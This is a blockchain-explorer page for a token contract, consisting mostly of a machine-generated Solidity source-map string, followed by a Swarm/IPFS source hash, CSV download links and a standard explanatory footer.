-1:-1;;;3584:67:0;;;;;;;:::i;:::-;12476:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;12476:27:0::1;-1:-1:-1::0;;;;12476:27:0;;::::1;::::0;;;::::1;::::0;;12398:113::o;12656:121::-;12763:4;-1:-1:-1;;;;;9725:18:0;12709:7;9725:18;;;:9;:18;;;;;;12736:12;;:33;;:16;:33::i;:::-;12729:40;;12656:121;:::o;11671:141::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11765:30:0;;;::::1;;::::0;;;:22:::1;:30;::::0;;;;:39;;-1:-1:-1;;11765:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11671:141::o;12179:211::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;12297:3:::1;12284:12;;:16;;;;:::i;:::-;12268:12;:32;;12260:85;;;::::0;-1:-1:-1;;;12260:85:0;;5612:2:1;12260:85:0::1;::::0;::::1;5594:21:1::0;5651:2;5631:18;;;5624:30;5690:34;5670:18;;;5663:62;-1:-1:-1;;;5741:18:1;;;5734:38;5789:19;;12260:85:0::1;5410:404:1::0;12260:85:0::1;12356:11;:26:::0;12179:211::o;3683:145::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;3787:1:::1;3771:6:::0;;3750:40:::1;::::0;-1:-1:-1;;;;;3771:6:0;;::::1;::::0;3750:40:::1;::::0;3787:1;;3750:40:::1;3818:1;3801:19:::0;;-1:-1:-1;;;;;;3801:19:0::1;::::0;;3683:145::o;9338:87::-;9377:13;9410:7;9403:14;;;;;:::i;12519:125::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;12600:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12600:36:0::1;-1:-1:-1::0;;;;12600:36:0;;::::1;::::0;;;::::1;::::0;;12519:125::o;14392:167::-;14470:4;14487:42;603:10;14511:9;14522:6;14487:9;:42::i;11271:392::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;11419:16:::1;:36:::0;;;11466:16:::1;:36:::0;;;11513:18:::1;:40:::0;;;11593:62:::1;11534:19:::0;11593:38:::1;11438:17:::0;11485;11593:20:::1;:38::i;:62::-;11566:24;:89:::0;-1:-1:-1;;;11271:392:0:o;12050:117::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;12127:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;12127:32:0::1;-1:-1:-1::0;;;;12127:32:0;;::::1;::::0;;;::::1;::::0;;12050:117::o;11820:101::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;11892:9:::1;:21:::0;11820:101::o;3836:244::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3925:22:0;::::1;3917:73;;;::::0;-1:-1:-1;;;3917:73:0;;6021:2:1;3917:73:0::1;::::0;::::1;6003:21:1::0;6060:2;6040:18;;;6033:30;6099:34;6079:18;;;6072:62;-1:-1:-1;;;6150:18:1;;;6143:36;6196:19;;3917:73:0::1;5819:402:1::0;3917:73:0::1;4027:6;::::0;;4006:38:::1;::::0;-1:-1:-1;;;;;4006:38:0;;::::1;::::0;4027:6;::::1;::::0;4006:38:::1;::::0;::::1;4055:6;:17:::0;;-1:-1:-1;;;;;;4055:17:0::1;-1:-1:-1::0;;;;;4055:17:0;;;::::1;::::0;;;::::1;::::0;;3836:244::o;10079:337::-;-1:-1:-1;;;;;10172:19:0;;10164:68;;;;-1:-1:-1;;;10164:68:0;;6428:2:1;10164:68:0;;;6410:21:1;6467:2;6447:18;;;6440:30;6506:34;6486:18;;;6479:62;-1:-1:-1;;;6557:18:1;;;6550:34;6601:19;;10164:68:0;6226:400:1;10164:68:0;-1:-1:-1;;;;;10251:21:0;;10243:68;;;;-1:-1:-1;;;10243:68:0;;6833:2:1;10243:68:0;;;6815:21:1;6872:2;6852:18;;;6845:30;6911:34;6891:18;;;6884:62;-1:-1:-1;;;6962:18:1;;;6955:32;7004:19;;10243:68:0;6631:398:1;10243:68:0;-1:-1:-1;;;;;10324:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10376:32;;2055:25:1;;;10376:32:0;;2028:18:1;10376:32:0;;;;;;;10079:337;;;:::o;1573:181::-;1631:7;;1663:5;1667:1;1663;:5;:::i;:::-;1651:17;;1692:1;1687;:6;;1679:46;;;;-1:-1:-1;;;1679:46:0;;7366:2:1;1679:46:0;;;7348:21:1;7405:2;7385:18;;;7378:30;7444:29;7424:18;;;7417:57;7491:18;;1679:46:0;7164:351:1;14888:1948:0;14975:4;-1:-1:-1;;;;;15002:20:0;;14994:70;;;;-1:-1:-1;;;14994:70:0;;7722:2:1;14994:70:0;;;7704:21:1;7761:2;7741:18;;;7734:30;7800:34;7780:18;;;7773:62;-1:-1:-1;;;7851:18:1;;;7844:35;7896:19;;14994:70:0;7520:401:1;14994:70:0;-1:-1:-1;;;;;15083:23:0;;15075:71;;;;-1:-1:-1;;;15075:71:0;;8128:2:1;15075:71:0;;;8110:21:1;8167:2;8147:18;;;8140:30;8206:34;8186:18;;;8179:62;-1:-1:-1;;;8257:18:1;;;8250:33;8300:19;;15075:71:0;7926:399:1;15075:71:0;15162:16;;-1:-1:-1;;;15162:16:0;;;;15159:1670;;;15212:41;15227:6;15235:9;15246:6;15212:14;:41::i;:::-;15205:48;;;;15159:1670;-1:-1:-1;;;;;15309:26:0;;;;;;:18;:26;;;;;;;;15308:27;:61;;;;-1:-1:-1;;;;;;15340:29:0;;;;;;:18;:29;;;;;;;;15339:30;15308:61;15305:175;;;15408:11;;15398:6;:21;;15390:74;;;;-1:-1:-1;;;15390:74:0;;8532:2:1;15390:74:0;;;8514:21:1;8571:2;8551:18;;;8544:30;8610:34;8590:18;;;8583:62;-1:-1:-1;;;8661:18:1;;;8654:38;8709:19;;15390:74:0;8330:404:1;15390:74:0;15557:4;15508:28;9725:18;;;:9;:18;;;;;;15633:15;;15609:39;;;;;;;15681:44;;-1:-1:-1;15709:16:0;;-1:-1:-1;;;15709:16:0;;;;15708:17;15681:44;:78;;;;-1:-1:-1;;;;;;15730:29:0;;;;;;:21;:29;;;;;;;;15729:30;15681:78;:108;;;;-1:-1:-1;;;;;;15763:26:0;;;;;;:15;:26;;;;;;;;15681:108;:133;;;;-1:-1:-1;15793:21:0;;-1:-1:-1;;;15793:21:0;;;;15681:133;:161;;;;;15827:15;;15818:6;:24;15681:161;15677:364;;;15880:25;;-1:-1:-1;;;15880:25:0;;;;15877:89;;;15951:15;;15928:38;;15877:89;15985:36;16000:20;15985:14;:36::i;:::-;16058:19;16079:17;16100:34;16108:6;16116:9;16127:6;16100:7;:34::i;:::-;16057:77;;;;16151:19;16186:6;16173:9;:19;:44;;16212:4;16173:44;;;16195:6;16173:44;16151:66;-1:-1:-1;16235:13:0;;16232:179;;-1:-1:-1;;;;;16294:22:0;;;;;;:9;:22;;;;;;:37;;16321:9;16294:26;:37::i;:::-;-1:-1:-1;;;;;16269:22:0;;;;;;;:9;:22;;;;;;;:62;;;;16355:40;;;;;;;;;;16385:9;2055:25:1;;2043:2;2028:18;;1909:177;16355:40:0;;;;;;;;16232:179;16447:53;;;;;;;;;;;-1:-1:-1;;;16447:53:0;;;;;;;;-1:-1:-1;;;;;16447:17:0;;-1:-1:-1;16447:17:0;;;:9;:17;;;;;;;;:53;;16469:6;;16447:21;:53::i;:::-;-1:-1:-1;;;;;16427:17:0;;;;;;:9;:17;;;;;:73;16520:16;;-1:-1:-1;;;16520:16:0;;;;:54;;;;-1:-1:-1;;;;;;16541:33:0;;;;;;:22;:33;;;;;;;;16540:34;16520:54;16517:135;;;16642:9;;16601:37;16626:11;16601:20;16611:9;-1:-1:-1;;;;;9725:18:0;9698:7;9725:18;;;:9;:18;;;;;;;9632:119;16601:37;:50;;16593:59;;;;;;-1:-1:-1;;;;;16692:20:0;;;;;;:9;:20;;;;;;:37;;16717:11;16692:24;:37::i;:::-;-1:-1:-1;;;;;16669:20:0;;;;;;;:9;:20;;;;;;;:60;;;;16751:40;;;;;;;;;;16779:11;2055:25:1;;2043:2;2028:18;;1909:177;16751:40:0;;;;;;;;16813:4;16806:11;;;;;;;;;1906:192;1992:7;2028:12;2020:6;;;;2012:29;;;;-1:-1:-1;;;2012:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2052:9:0;2064:5;2068:1;2064;:5;:::i;:::-;2052:17;1906:192;-1:-1:-1;;;;;1906:192:0:o;1762:136::-;1820:7;1847:43;1851:1;1854;1847:43;;;;;;;;;;;;;;;;;:3;:43::i;16978:330::-;17108:53;;;;;;;;;;;-1:-1:-1;;;17108:53:0;;;;;;;;-1:-1:-1;;;;;17108:17:0;;17071:4;17108:17;;;:9;:17;;;;;;;:53;;17130:6;;17108:21;:53::i;:::-;-1:-1:-1;;;;;17088:17:0;;;;;;;:9;:17;;;;;;:73;;;;17195:20;;;;;;;:32;;17220:6;17195:24;:32::i;:::-;-1:-1:-1;;;;;17172:20:0;;;;;;;:9;:20;;;;;;;:55;;;;17243:35;;;;;;;;;;17271:6;2055:25:1;;2043:2;2028:18;;1909:177;17243:35:0;;;;;;;;-1:-1:-1;17296:4:0;16978:330;;;;;:::o;12785:232::-;8024:16;:23;;-1:-1:-1;;;;8024:23:0;-1:-1:-1;;;8024:23:0;;;12859:25:::1;12876:7:::0;12859:16:::1;:25::i;:::-;12977:9;::::0;12924:21:::1;::::0;12956:51:::1;::::0;-1:-1:-1;;;;;12977:9:0::1;12924:21:::0;12956:20:::1;:51::i;:::-;-1:-1:-1::0;;8070:16:0;:24;;-1:-1:-1;;;;8070:24:0;;;12785:232::o;13642:648::-;-1:-1:-1;;;;;13815:29:0;;13733:7;13815:29;;;:21;:29;;;;;;13733:7;;13792:6;;13815:29;;:54;;;;-1:-1:-1;13848:21:0;;-1:-1:-1;;;13848:21:0;;;;13815:54;13811:86;;;13879:6;;-1:-1:-1;13887:9:0;-1:-1:-1;13871:26:0;;13811:86;-1:-1:-1;;;;;13913:23:0;;;;;;:15;:23;;;;;;;;13910:229;;;13965:38;13999:3;13965:29;13976:17;;13965:6;:10;;:29;;;;:::i;:::-;:33;;:38::i;:::-;13953:50;;13910:229;;;-1:-1:-1;;;;;14033:26:0;;;;;;:15;:26;;;;;;;;14030:109;;;14088:39;14123:3;14088:30;14099:18;;14088:6;:10;;:30;;;;:::i;:39::-;14076:51;;14030:109;-1:-1:-1;;;;;14153:29:0;;;;;;:21;:29;;;;;;;;14149:80;;;14207:6;14215:1;14199:18;;;;;;;14149:80;14249:21;:6;14260:9;14249:10;:21::i;:::-;14241:41;-1:-1:-1;14272:9:0;-1:-1:-1;13642:648:0;;;;;;;:::o;13029:605::-;13179:16;;;13193:1;13179:16;;;;;;;;13155:21;;13179:16;;;;;;;;;;-1:-1:-1;13179:16:0;13155:40;;13224:4;13206;13211:1;13206:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13206:23:0;;;:7;;;;;;;;;;:23;;;;13250:15;;:22;;;-1:-1:-1;;;13250:22:0;;;;:15;;;;;:20;;:22;;;;;13206:7;;13250:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13240:4;13245:1;13240:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13240:32:0;;;:7;;;;;;;;;:32;13317:15;;13285:62;;13302:4;;13317:15;13335:11;13285:8;:62::i;:::-;13386:15;;:240;;-1:-1:-1;;;13386:240:0;;-1:-1:-1;;;;;13386:15:0;;;;:66;;:240;;13467:11;;13386:15;;13537:4;;13564;;13600:15;;13386:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13084:550;13029:605;:::o;16844:126::-;16936:26;;-1:-1:-1;;;;;16936:18:0;;;:26;;;;;16955:6;;16936:26;;;;16955:6;16936:18;:26;;;;;;;;;;;;;;;;;;;2106:250;2164:7;2188:1;2193;2188:6;2184:47;;-1:-1:-1;2218:1:0;2211:8;;2184:47;2243:9;2255:5;2259:1;2255;:5;:::i;:::-;2243:17;-1:-1:-1;2288:1:0;2279:5;2283:1;2243:17;2279:5;:::i;:::-;:10;2271:56;;;;-1:-1:-1;;;2271:56:0;;10752:2:1;2271:56:0;;;10734:21:1;10791:2;10771:18;;;10764:30;10830:34;10810:18;;;10803:62;-1:-1:-1;;;10881:18:1;;;10874:31;10922:19;;2271:56:0;10550:397:1;2364:132:0;2422:7;2449:39;2453:1;2456;2449:39;;;;;;;;;;;;;;;;;2590:7;2625:12;2618:5;2610:28;;;;-1:-1:-1;;;2610:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2649:9:0;2661:5;2665:1;2661;:5;:::i;222:131:1:-;-1:-1:-1;;;;;297:31:1;;287:42;;277:70;;343:1;340;333:12;277:70;222:131;:::o;358:247::-;417:6;470:2;458:9;449:7;445:23;441:32;438:52;;;486:1;483;476:12;438:52;525:9;512:23;544:31;569:5;544:31;:::i;610:548::-;722:4;751:2;780;769:9;762:21;812:6;806:13;855:6;850:2;839:9;835:18;828:34;880:1;890:140;904:6;901:1;898:13;890:140;;;999:14;;;995:23;;989:30;965:17;;;984:2;961:26;954:66;919:10;;890:140;;;894:3;1079:1;1074:2;1065:6;1054:9;1050:22;1046:31;1039:42;1149:2;1142;1138:7;1133:2;1125:6;1121:15;1117:29;1106:9;1102:45;1098:54;1090:62;;;;610:548;;;;:::o;1163:315::-;1231:6;1239;1292:2;1280:9;1271:7;1267:23;1263:32;1260:52;;;1308:1;1305;1298:12;1260:52;1347:9;1334:23;1366:31;1391:5;1366:31;:::i;:::-;1416:5;1468:2;1453:18;;;;1440:32;;-1:-1:-1;;;1163:315:1:o;2091:316::-;2168:6;2176;2184;2237:2;2225:9;2216:7;2212:23;2208:32;2205:52;;;2253:1;2250;2243:12;2205:52;-1:-1:-1;;2276:23:1;;;2346:2;2331:18;;2318:32;;-1:-1:-1;2397:2:1;2382:18;;;2369:32;;2091:316;-1:-1:-1;2091:316:1:o;2412:456::-;2489:6;2497;2505;2558:2;2546:9;2537:7;2533:23;2529:32;2526:52;;;2574:1;2571;2564:12;2526:52;2613:9;2600:23;2632:31;2657:5;2632:31;:::i;:::-;2682:5;-1:-1:-1;2739:2:1;2724:18;;2711:32;2752:33;2711:32;2752:33;:::i;:::-;2412:456;;2804:7;;-1:-1:-1;;;2858:2:1;2843:18;;;;2830:32;;2412:456::o;2873:160::-;2938:20;;2994:13;;2987:21;2977:32;;2967:60;;3023:1;3020;3013:12;2967:60;2873:160;;;:::o;3038:180::-;3094:6;3147:2;3135:9;3126:7;3122:23;3118:32;3115:52;;;3163:1;3160;3153:12;3115:52;3186:26;3202:9;3186:26;:::i;3412:315::-;3477:6;3485;3538:2;3526:9;3517:7;3513:23;3509:32;3506:52;;;3554:1;3551;3544:12;3506:52;3593:9;3580:23;3612:31;3637:5;3612:31;:::i;:::-;3662:5;-1:-1:-1;3686:35:1;3717:2;3702:18;;3686:35;:::i;:::-;3676:45;;3412:315;;;;;:::o;3732:180::-;3791:6;3844:2;3832:9;3823:7;3819:23;3815:32;3812:52;;;3860:1;3857;3850:12;3812:52;-1:-1:-1;3883:23:1;;3732:180;-1:-1:-1;3732:180:1:o;3917:388::-;3985:6;3993;4046:2;4034:9;4025:7;4021:23;4017:32;4014:52;;;4062:1;4059;4052:12;4014:52;4101:9;4088:23;4120:31;4145:5;4120:31;:::i;:::-;4170:5;-1:-1:-1;4227:2:1;4212:18;;4199:32;4240:33;4199:32;4240:33;:::i;:::-;4292:7;4282:17;;;3917:388;;;;;:::o;4310:356::-;4512:2;4494:21;;;4531:18;;;4524:30;4590:34;4585:2;4570:18;;4563:62;4657:2;4642:18;;4310:356::o;4671:380::-;4750:1;4746:12;;;;4793;;;4814:61;;4868:4;4860:6;4856:17;4846:27;;4814:61;4921:2;4913:6;4910:14;4890:18;4887:38;4884:161;;4967:10;4962:3;4958:20;4955:1;4948:31;5002:4;4999:1;4992:15;5030:4;5027:1;5020:15;4884:161;;4671:380;;;:::o;5056:127::-;5117:10;5112:3;5108:20;5105:1;5098:31;5148:4;5145:1;5138:15;5172:4;5169:1;5162:15;5188:217;5228:1;5254;5244:132;;5298:10;5293:3;5289:20;5286:1;5279:31;5333:4;5330:1;5323:15;5361:4;5358:1;5351:15;5244:132;-1:-1:-1;5390:9:1;;5188:217::o;7034:125::-;7099:9;;;7120:10;;;7117:36;;;7133:18;;:::i;8739:128::-;8806:9;;;8827:11;;;8824:37;;;8841:18;;:::i;9004:127::-;9065:10;9060:3;9056:20;9053:1;9046:31;9096:4;9093:1;9086:15;9120:4;9117:1;9110:15;9136:251;9206:6;9259:2;9247:9;9238:7;9234:23;9230:32;9227:52;;;9275:1;9272;9265:12;9227:52;9307:9;9301:16;9326:31;9351:5;9326:31;:::i;9392:980::-;9654:4;9702:3;9691:9;9687:19;9733:6;9722:9;9715:25;9759:2;9797:6;9792:2;9781:9;9777:18;9770:34;9840:3;9835:2;9824:9;9820:18;9813:31;9864:6;9899;9893:13;9930:6;9922;9915:22;9968:3;9957:9;9953:19;9946:26;;10007:2;9999:6;9995:15;9981:29;;10028:1;10038:195;10052:6;10049:1;10046:13;10038:195;;;10117:13;;-1:-1:-1;;;;;10113:39:1;10101:52;;10208:15;;;;10173:12;;;;10149:1;10067:9;10038:195;;;-1:-1:-1;;;;;;;10289:32:1;;;;10284:2;10269:18;;10262:60;-1:-1:-1;;;10353:3:1;10338:19;10331:35;10250:3;9392:980;-1:-1:-1;;;9392:980:1:o;10377:168::-;10450:9;;;10481;;10498:15;;;10492:22;;10478:37;10468:71;;10519:18;;:::i

Swarm Source

ipfs://57c326600a75b1b6b5f755dca3a7413ef967a28f4813e29c4d473a10ab09aa50
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.